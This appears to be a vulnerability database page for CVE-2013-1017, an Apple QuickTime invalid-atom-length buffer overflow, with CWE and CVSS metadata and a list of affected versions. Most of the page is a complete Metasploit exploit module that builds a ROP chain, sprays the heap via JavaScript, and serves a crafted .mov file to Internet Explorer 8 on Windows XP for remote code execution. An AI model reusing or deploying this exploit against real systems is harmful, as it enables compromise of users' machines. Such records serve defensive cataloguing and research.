Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 27012
Publication date : 2013-07-21 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Apple Quicktime. The flaw is
triggered when Quicktime fails to properly handle the data length for certain
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
overflow by loading a specially crafted .mov file, and allows arbitrary
code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
'Tom Gallagher', # Original Discovery (overlapped)
'Paul Bates', # Original Discovery (overlapped)
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-1017' ],
[ 'BID', '60097' ],
[ 'URL', 'http://support.apple.com/kb/HT5770' ]
],
'Platform' => 'win',
'Targets' =>
[
# All of the following addresses are from Quicktime.qts
# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
],
'Payload' =>
{
'BadChars' => "\x00" # js_property_spray no like nilz
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "May 22 2013"
))
end
def get_payload(t)
p = ''
rop =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
p << rop
p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
p << payload.encoded
p
end
def targetable?(agent)
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
return true
elsif agent =~ /contype/
# contype: a mov file request from Apple Quicktime
return true
end
false
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
fake_mov_name = rand_text_alpha(4) + ".mov"
html = %Q|
<html>
<head>
<script>
#{js_property_spray}
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
</head>
<body>
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
</body>
</html>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
unless targetable?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}") if target
if request.uri =~ /\.mov$/
print_status("Sending specially crafted .mov file")
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
else
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end
def sort_bytes(data)
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
end
def rop_nop(t)
[t['Nop']].pack('V*') # Ret (QuickTime.qts)
end
def exploit
buf = ''
buf << rand_text_alpha(467) # 467 to align the pivot
10.times {
buf << rop_nop(target)
}
buf << [
target['Pop'], # POP ESP; RET (QuickTime.qts)
0x20302020 # Target value for ESP (our ROP payload)
].pack('V*')
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
# Quicktime File Format Specifications:
# https://developer.apple.com/standards/qtff-2001.pdf
mov = "\x00\x00\x06\xDF" # File size
mov << "moov" # Movie atom
mov << "\x00\x00\x06\xD7" # size (1751d)
mov << "rmra" # Reference Movie atom
mov << "\x00\x00\x06\xCF" # size (1743d)
mov << "rmda" # rmda atom
mov << "\x00\x00\x06\xBF" # size (1727d)
mov << "rdrf" # Data reference atom
mov << "\x00\x00\x00\x00" # size set to 0
mov << "alis" # Data reference type: FS alias record
mov << "\x00\x00\x06\xAA" # Size (1706d)
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61" # Size (1633d)
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26" # Size (38d)
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA" # Size (must be invalid)
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4" # Size (756h)
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf
@exploit = mov
super
end
end
Products Mentioned
Configuraton 0
Apple>>Quicktime >> Version To (including) 7.7.3
Apple>>Quicktime >> Version 3.0
Apple>>Quicktime >> Version 4.1.2
Apple>>Quicktime >> Version 5.0
Apple>>Quicktime >> Version 5.0.1
Apple>>Quicktime >> Version 5.0.2
Apple>>Quicktime >> Version 6.0
Apple>>Quicktime >> Version 6.0.0
Apple>>Quicktime >> Version 6.0.1
Apple>>Quicktime >> Version 6.0.2
Apple>>Quicktime >> Version 6.1
Apple>>Quicktime >> Version 6.1.0
Apple>>Quicktime >> Version 6.1.1
Apple>>Quicktime >> Version 6.2.0
Apple>>Quicktime >> Version 6.3.0
Apple>>Quicktime >> Version 6.4.0
Apple>>Quicktime >> Version 6.5
Apple>>Quicktime >> Version 6.5.0
Apple>>Quicktime >> Version 6.5.1
Apple>>Quicktime >> Version 6.5.2
Apple>>Quicktime >> Version 7.0.0
Apple>>Quicktime >> Version 7.0.1
Apple>>Quicktime >> Version 7.0.2
Apple>>Quicktime >> Version 7.0.3
Apple>>Quicktime >> Version 7.0.4
Apple>>Quicktime >> Version 7.1.0
Apple>>Quicktime >> Version 7.1.1
Apple>>Quicktime >> Version 7.1.2
Apple>>Quicktime >> Version 7.1.3
Apple>>Quicktime >> Version 7.1.4
Apple>>Quicktime >> Version 7.1.5
Apple>>Quicktime >> Version 7.1.6
Apple>>Quicktime >> Version 7.2.0
Apple>>Quicktime >> Version 7.2.1
Apple>>Quicktime >> Version 7.3.0
Apple>>Quicktime >> Version 7.3.1
Apple>>Quicktime >> Version 7.4.0
Apple>>Quicktime >> Version 7.4.1
Apple>>Quicktime >> Version 7.4.5
Apple>>Quicktime >> Version 7.5.0
Apple>>Quicktime >> Version 7.5.5
Apple>>Quicktime >> Version 7.6.0
Apple>>Quicktime >> Version 7.6.1
Apple>>Quicktime >> Version 7.6.2
Apple>>Quicktime >> Version 7.6.5
Apple>>Quicktime >> Version 7.6.6
Apple>>Quicktime >> Version 7.6.7
Apple>>Quicktime >> Version 7.6.8
Apple>>Quicktime >> Version 7.6.9
Apple>>Quicktime >> Version 7.7.0
Apple>>Quicktime >> Version 7.7.1
Apple>>Quicktime >> Version 7.7.2
Microsoft>>Windows_7 >> Version *
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_xp >> Version *
References